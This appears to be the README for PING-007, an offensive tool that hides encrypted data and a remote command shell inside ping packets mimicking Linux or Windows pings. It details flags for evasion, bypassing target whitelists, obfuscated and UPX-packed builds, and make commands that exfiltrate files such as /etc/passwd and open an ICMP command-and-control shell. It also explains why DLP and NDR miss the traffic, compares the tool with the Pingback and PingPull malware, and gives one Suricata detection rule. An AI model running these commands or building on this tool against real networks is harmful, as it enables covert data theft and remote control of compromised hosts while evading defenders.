Full online version: franckferman.github.io/ping-007
- Privileges
- Flag Reference
- Encryption Modes
- OS Signature Profiles
- OPSEC Architecture
- Why Enterprise DLP Cannot See This
- Cryptographic Details
- APT-Grade ICMP Tools in the Wild
- Build Variants
- Makefile Shortcuts
- Testing
- References
PING-007 opens a raw ICMP socket to craft outgoing packets (custom OS signature, XOR steganography) and capture all incoming ICMP traffic on the interface. The kernel gates this behind CAP_NET_RAW because raw sockets can sniff traffic and forge arbitrary source IPs.
This is not a PING-007 limitation - it is a property of the technique itself. The two documented APT tools that used ICMP as a primary C2 channel (Pingback 2021, PingPull/GALLIUM 2022) had the exact same constraint. In real engagements, PING-007 is deployed post-exploitation, once a privileged shell is available.
# Standard - run as root
sudo ./build/ping-007 listen -o ./loot -p "key"
# Alternative - assign capability to the binary (dev/lab only)
sudo setcap cap_net_raw+ep ./build/ping-007
./build/ping-007 listen -o ./loot -p "key"OPSEC warning on
setcap: the capability is stored in the file's extended attributes and is readable by anyone (getcap ./build/ping-007). In real operations, usesudoor a root shell - no persistent artifact on the binary.
# Right-click terminal → "Run as Administrator", then:
.\build\ping-007.exe listen -o .\loot -p "key"| Issue | Detail |
|---|---|
| Privilege | Administrator mandatory - no setcap equivalent |
| Firewall | Windows Defender blocks inbound ICMP by default (outbound works without changes) |
| Loopback | Raw sockets cannot receive packets sent to 127.0.0.1 on Windows |
| Source IP | Cannot be spoofed - Windows enforces a valid local IP |
| Tested | Cross-compiled but not validated end-to-end on Windows - use Linux for critical ops |
# Allow inbound ICMP on the local host firewall (listener side only)
netsh advfirewall firewall add rule name="ICMP Allow" protocol=icmpv4:8,any dir=in action=allow
# Remove after testing
netsh advfirewall firewall delete rule name="ICMP Allow"| Flag | Default | Description |
|---|---|---|
-p, --password |
- | Shared password for AES-256-GCM + PBKDF2 key derivation |
-v, --verbose |
false | Verbose logging |
--no-banner |
false | Suppress startup banner and JSON logs |
-c, --config |
./config/ping-007.yml |
Config file path |
--allow-all-targets |
false | Bypass authorized_targets / forbidden_targets CIDR validation - use in lab or red team ops where the config whitelist blocks the actual target |
| Flag | Default | Description |
|---|---|---|
-t, --target |
required | Target IP address |
-d, --data |
- | Inline data to transmit |
--signature |
linux |
OS ping signature to mimic (linux, windows, none) |
--no-signature |
false | Raw ICMP, no OS pattern |
-s, --stealth |
false | Force stealth mode (64-byte, proper timing) |
--delay |
0 | Pre-transmission delay (e.g. 2s, 500ms) |
--human-timing |
false | Random 1–5s intervals between packets |
--ultra-stealth |
false | Maximum evasion (timing + size + pattern) |
--decoy-pings |
0 | Send N clean OS-pattern pings before data |
--after-pings |
0 | Send N clean pings after data to close the session naturally |
--ping-interval |
1s |
Interval between pings in a sequence |
--icmp-id |
os |
ICMP identifier: os (PID on Linux / 0x0001 on Windows), random, or a 0–65535 integer |
--no-encrypt |
false | Send plaintext - no encryption, no encoding |
--encode |
false | Base64-encode payload without encrypting |
-i, --interactive |
false | Interactive prompt mode |
| Flag | Default | Description |
|---|---|---|
-t, --target |
required | Target IP address |
-d, --data |
- | Inline data to transmit |
Shorthand for basic with full evasion stack enabled: sandbox detection, adaptive timing from the active timing profile, payload obfuscation, OS signature mimicry, and automatic fragmentation. Useful as a drop-in for basic when you want all techniques applied without specifying flags individually.
| Flag | Default | Description |
|---|---|---|
-t, --target |
required | Target IP address |
-f, --file |
required | File to exfiltrate |
--method |
icmp_tunnel |
Transfer method (icmp_tunnel, icmp_payload) |
--mode |
stealth |
Timing mode (stealth, fast, covert) |
--chunk-size |
512 | Base chunk size in bytes (±25% jitter per chunk) |
--no-stealth |
false | Disable stealth techniques |
--no-encrypt |
false | Disable encryption |
--signature |
linux |
OS signature for TTL mimicry (linux, windows, none) |
--icmp-id |
os |
ICMP identifier: os (PID on Linux / 0x0001 on Windows), random, or a 0–65535 integer |
| Flag | Default | Description |
|---|---|---|
-t, --target |
required | Target IP address |
--mode |
interactive |
interactive (ICMP C2) or batch (local execution only) |
--jitter |
0 | Max random delay before each outgoing packet (e.g. 3s) |
| Flag | Default | Description |
|---|---|---|
-o, --output |
./received |
Output directory for received files |
--interface |
eth0 |
Network interface to listen on |
--method |
icmp_tunnel |
Listen method (icmp_tunnel) |
--timeout |
60 | Timeout in seconds |
-q, --quiet |
false | Suppress per-packet output (OpSec: verbose log is a risk) |
| Flag | Default | Description |
|---|---|---|
-t, --target |
required | Target IP address |
-r, --profile |
required | APT profile (lazarus, apt29, apt28, equation) |
--duration |
60 | Simulation duration in seconds |
--list |
false | Print all available timing profiles with intervals and exit (no root required) |
| Flag | Default | Description |
|---|---|---|
--duration |
60 | Analysis duration in seconds |
--passive |
false | Passive mode (no raw sockets, no root required) |
| Flag | Default | Description |
|---|---|---|
--safe |
false | Disable all privileged operations (no root required) |
--no-network |
false | Skip network checks (no root required) |
No flags. Prints version string, build timestamp, and commit hash. No root required.
| Situation | Command | Result |
|---|---|---|
No -p flag |
sudo ./ping-007 basic -t <ip> -d "msg" |
Warning: random key - receiver can't decrypt. Non-interoperable. |
| Shared password | sudo ./ping-007 basic -t <ip> -d "msg" -p "secret" |
AES-256-GCM, PBKDF2-derived key. Receiver with same -p decrypts automatically. |
| No encryption | sudo ./ping-007 exfil -t <ip> -f file --no-encrypt |
Plaintext payload in ICMP. Receiver gets raw bytes. |
| Profile | Payload size | Stealth capacity | Frag capacity | Pattern | TTL |
|---|---|---|---|---|---|
linux (default) |
64 bytes | 38 bytes/pkt | 34 bytes/frag | [16B timeval][0x10,0x11,…0x37] |
64 |
windows |
40 bytes | 22 bytes/pkt | 18 bytes/frag | Alphabetic abcdefgh… |
128 |
none / --no-signature |
Variable | N/A | N/A | Raw bytes | kernel default |
Stealth capacity arithmetic (Linux, 64-bit):
- ICMP payload = 56 bytes (
ping -s 56) - 16 bytes =
struct timeval(iputils on 64-bit Linux:uint64 tv_sec+uint64 tv_usec) - 2 bytes = length prefix (XOR'd into sequential pattern starting at
0x10) - 38 bytes free for hidden data per single packet
- AES-256-GCM overhead = 32 bytes (4B header + 12B nonce + 16B tag)
- Max single-packet plaintext = 6 bytes; above that, auto-fragmentation kicks in
For large payloads, data is split into N separate 64-byte ICMP echo requests with a 4-byte embedded header [0xA7 magic][session][frag_id][total_frags] XOR'd into the payload pattern.
| Layer | Technique | Detection avoided |
|---|---|---|
| TTL | setsockopt(IP_TTL) - 64 (Linux) / 128 (Windows) |
OS fingerprinting via TTL |
| Payload size | Always 64B (Linux) / 40B (Windows) - identical to ping -s 56 |
Oversized ICMP payload detection |
| Payload pattern | XOR steganography into real OS ping pattern | Pattern mismatch vs. known ping tools |
| Sequence number | Starts at 1, increments per packet (matches iputils ping behaviour) |
"Sequence starts at 1" heuristic — previously detectable as random start |
| ICMP Identifier | getpid() & 0xFFFF on Linux (PID of the ping-007 process); 0x0001 on Windows (Vista+ kernel value) — override with --icmp-id <value|random> |
Fixed arbitrary ID — now matches real OS ping behaviour |
| Fragmentation | Large payloads → N×64B pings with embedded frag header | Oversized single-packet detection |
| Timing | 1s ± 10% jitter between packets | Fixed-interval Netflow detection |
| Session blending | --decoy-pings / --after-pings (clean OS pings before and after) |
ICMP volume anomaly on NDR/Zeek |
| Inter-chunk gap | 5–30s (stealth) / 30–120s (covert) between chunks | Burst transfer rate detection |
| Shell jitter | --jitter <max> random delay before each command packet |
Metronomic C2 beacon detection |
| Output verbosity | listen --quiet suppresses all stdout |
Live forensics / process monitoring |
- High entropy payload: AES-GCM ciphertext has ~8 bits/byte entropy. A DPI engine with entropy scoring can flag this.
- ICMP volume anomaly (rare - requires NDR or Zeek with ICMP rules): unusual pings to an atypical destination.
--decoy-pings/--after-pingsaddress this. - Same destination IP: periodic pings to the same C2 IP in flow analysis on mature NDR. Route through IPs with pre-existing legitimate ICMP traffic.
- Fragment magic byte
0xA7: matchable with a Suricata content rule at offset 8.
Suricata rule to detect PING-007 fragment sessions:
alert icmp any any -> any any (
msg:"PING-007 stealth fragment magic byte 0xA7";
itype:8; icode:0;
content:"|A7|"; offset:8; depth:1;
threshold: type both, track by_src, count 3, seconds 30;
sid:9000001; rev:1;
)
Enterprise DLP solutions (Symantec DLP, Forcepoint, Microsoft Purview) operate as L7 application proxies or SSL inspection engines targeting HTTP/S, SMTP, FTP and cloud APIs. ICMP is a network-layer diagnostic protocol - it has no application session, no TCP stream, and no content to proxy.
Most DLP appliances do not decode ICMP payloads at all.
| Field | Linux ping -s 56 |
Windows ping |
PING-007 --signature linux |
PING-007 --signature windows |
|---|---|---|---|---|
| ICMP type | 8 | 8 | 8 | 8 |
| Total size | 64 bytes | 40 bytes | 64 bytes | 40 bytes |
| TTL | 64 | 128 | 64 | 128 |
| ICMP Identifier | getpid() & 0xFFFF |
0x0001 (Vista+, kernel) |
getpid() & 0xFFFF |
0x0001 |
| Sequence start | 1, +1 per packet | arbitrary (boot counter) | 1, +1 per packet | 1, +1 per packet |
| Payload structure | [16B timeval][0x10,0x11…] |
abcdefgh… (23-char cycle) |
same, XOR'd at byte 16 | same, XOR'd at byte 8 |
Even if a sensor decodes the ICMP payload, it finds [4B header][12B nonce][ciphertext][16B tag] - pure random-looking bytes. No PII patterns, no file headers, no regex match possible.
All three algorithms use PBKDF2-SHA256 (100 000 iterations) with a fixed per-algorithm salt for deterministic key derivation from a shared password.
| Algorithm | Key | Auth | Salt |
|---|---|---|---|
| AES-256-GCM | 256-bit | AEAD | ping007-aes-salt-v1 |
| ChaCha20-Poly1305 | 256-bit | AEAD | ping007-chacha20-salt-v1 |
| Custom XOR-CFB-HMAC | 256-bit | HMAC-SHA256 | ping007-xor-salt-v1 |
Wire format: [4-byte header: algo+version][12-byte nonce][ciphertext][16-byte AEAD tag]
The listener auto-detects the algorithm from the 4-byte header. No key material is stored in the binary - reversing the binary reveals nothing useful.
Two tools with published technical reports have used ICMP as a primary C2 channel. All had the right premise (ICMP is largely ignored by defenders) but none attempted to make their traffic look like a real OS ping. The result: trivially detectable static signatures.
Windows backdoor, unattributed. Delivered as oci.dll via MSDTC DLL hijacking.
Wire format:
ICMP Type 8, payload: fixed 788 bytes
Sequence number: one of {1234, 1235, 1236} only
No encryption - commands in plaintext at offset 0
Caught by a single Suricata rule: alert icmp any any -> any any (itype:8; dsize:788; sid:9000010;)
Chinese state-sponsored group. RAT with swappable C2 transports (ICMP / HTTPS / TCP).
Wire format:
[8-byte hardcoded prefix: 03 41 40 7E 04 37 24 70]
R[sequence_number].[PROJECT_IDENTIFIER]\r\n
total=[total_data_length]\r\n
[base64(AES-256-CBC(payload))]
Both AES keys were hardcoded in the binary and recovered by Unit42, making all historical traffic retrospectively decryptable. The PROJECT_* identifier leaked hostname, executable name, and IP in plaintext in every packet.
| Pingback | PingPull | PING-007 | |
|---|---|---|---|
| Packet size | Fixed 788B | Oversized blob | Exact OS size: 64B / 40B |
| Payload | Plaintext struct | [8B prefix]R[n].[PROJECT_…]\r\n |
XOR'd into real OS pattern |
| TTL | Kernel default | Kernel default | setsockopt: 64 / 128 |
| Sequence numbers | Fixed {1234,1235,1236} | Incremental from 0 | Starts at 1, +1 per packet — identical to OS ping |
| Encryption | None | AES-256-CBC, hardcoded keys | PBKDF2 + AES-256-GCM, no key in binary |
| Detectable by size? | Yes - dsize:788 |
Yes | No |
| Binary reversing? | N/A | Yes - keys recoverable | No |
make build # Standard build → build/ping-007
make build-no-c2 # No interactive shell (exfil+listen intact) → build/ping-007-noc2
make build-stealth # -trimpath -buildmode=pie
make build-ghost # Maximum stripping + obfuscation
make build-compressed # UPX compression (requires upx)
make build-armored # Stealth + UPX
make build-minimal # No APT simulation module (-tags minimal)
make build-all # All platforms (linux/darwin/windows, amd64/arm64)make basic TARGET=192.168.1.100 PASSWORD='secret'
make stealth TARGET=192.168.1.100 DATA='payload' PASSWORD='secret'
make exfil TARGET=192.168.1.100 FILE=/etc/passwd PASSWORD='secret'
make exfil TARGET=192.168.1.100 FILE=data.zip METHOD=icmp_tunnel MODE=fast PASSWORD='secret'
make apt TARGET=192.168.1.100 PROFILE=lazarus DURATION=300
make shell TARGET=192.168.1.100 PASSWORD='c2pass'
make listen OUTPUT=./loot TIMEOUT=300 PASSWORD='secret'
make analyze DURATION=120
make ultra-stealth TARGET=192.168.1.100 PASSWORD='stealth-key'
make ghost-mode TARGET=192.168.1.100 PASSWORD='ghost-key'
make human-mimic TARGET=192.168.1.100 PASSWORD='test'
make natural-test TARGET=192.168.1.100 COUNT=10 PASSWORD='test'
make crypto-demomake test # Full test suite with race detector + HTML coverage
go test ./... # Quick run (no coverage)
go test ./internal/crypto/... -v
go test ./internal/network/... -v
go test ./internal/config/... -v252 tests across 8 packages - all passing with -race. No network access or root required.
| Package | Tests | Coverage areas |
|---|---|---|
internal/crypto |
49 | AES-256-GCM, ChaCha20-Poly1305, XOR-CFB-HMAC round-trips; cross-instance decrypt; PBKDF2 key derivation; algorithm auto-detection; nonce uniqueness |
internal/config |
20 | Target validation (authorized/forbidden/invalid/hostname); config defaults; LoadFrom explicit path; --allow-all-targets bypass |
internal/network |
31 | Packet builder; fragment reassembly; OS signature headers; checksum; ICMP parsing |
internal/evasion |
30 | APT timing profiles; sandbox detection; obfuscation; adaptive delay |
internal/logger |
33 | All log levels; JSON/text formats; log rotation; SIEM writer; audit logger |
internal/exfiltration |
31 | Chunk creation (single/multi/jitter); CX marker protocol; encryption integration; job management |
internal/orchestrator |
32 | Steganography extraction; entropy analysis; fragment reassembly; CX multi-chunk reassembly; session generation |
internal/shell |
24 | Session lifecycle; jitter; response parsing; concurrent session handling |
| Claim | Source |
|---|---|
| DLP/firewalls don't inspect ICMP payload | DeepStrike - What Is ICMP Tunneling? |
Windows ping payload = abcdefghijklmnopqrstuvwabcdefghi |
Palo Alto LIVEcommunity |
| Linux TTL=64 / Windows TTL=128 | InfiniteLogins · OSTechNix |
| ICMP covert channel technique | JumpSec Labs |
| Behavioral detection via NetFlow/NDR | Vectra AI |
| Entropy analysis for ICMP | Trisul Network Analytics |
| Exfiltration via ICMP - detection methods | APNIC Blog |
| Pingback malware (2021) | Trustwave SpiderLabs · Corelight Zeek package |
| PingPull / GALLIUM (2022) | Unit42 / Palo Alto Networks |
| ICMP tunneling tools (icmpsh, ptunnel) in the wild | Cynet |
| Academic - "ICMP traffic considered benign" | Springer |
| Steganography in malware (in-the-wild list) | steg-in-the-wild by lucacav |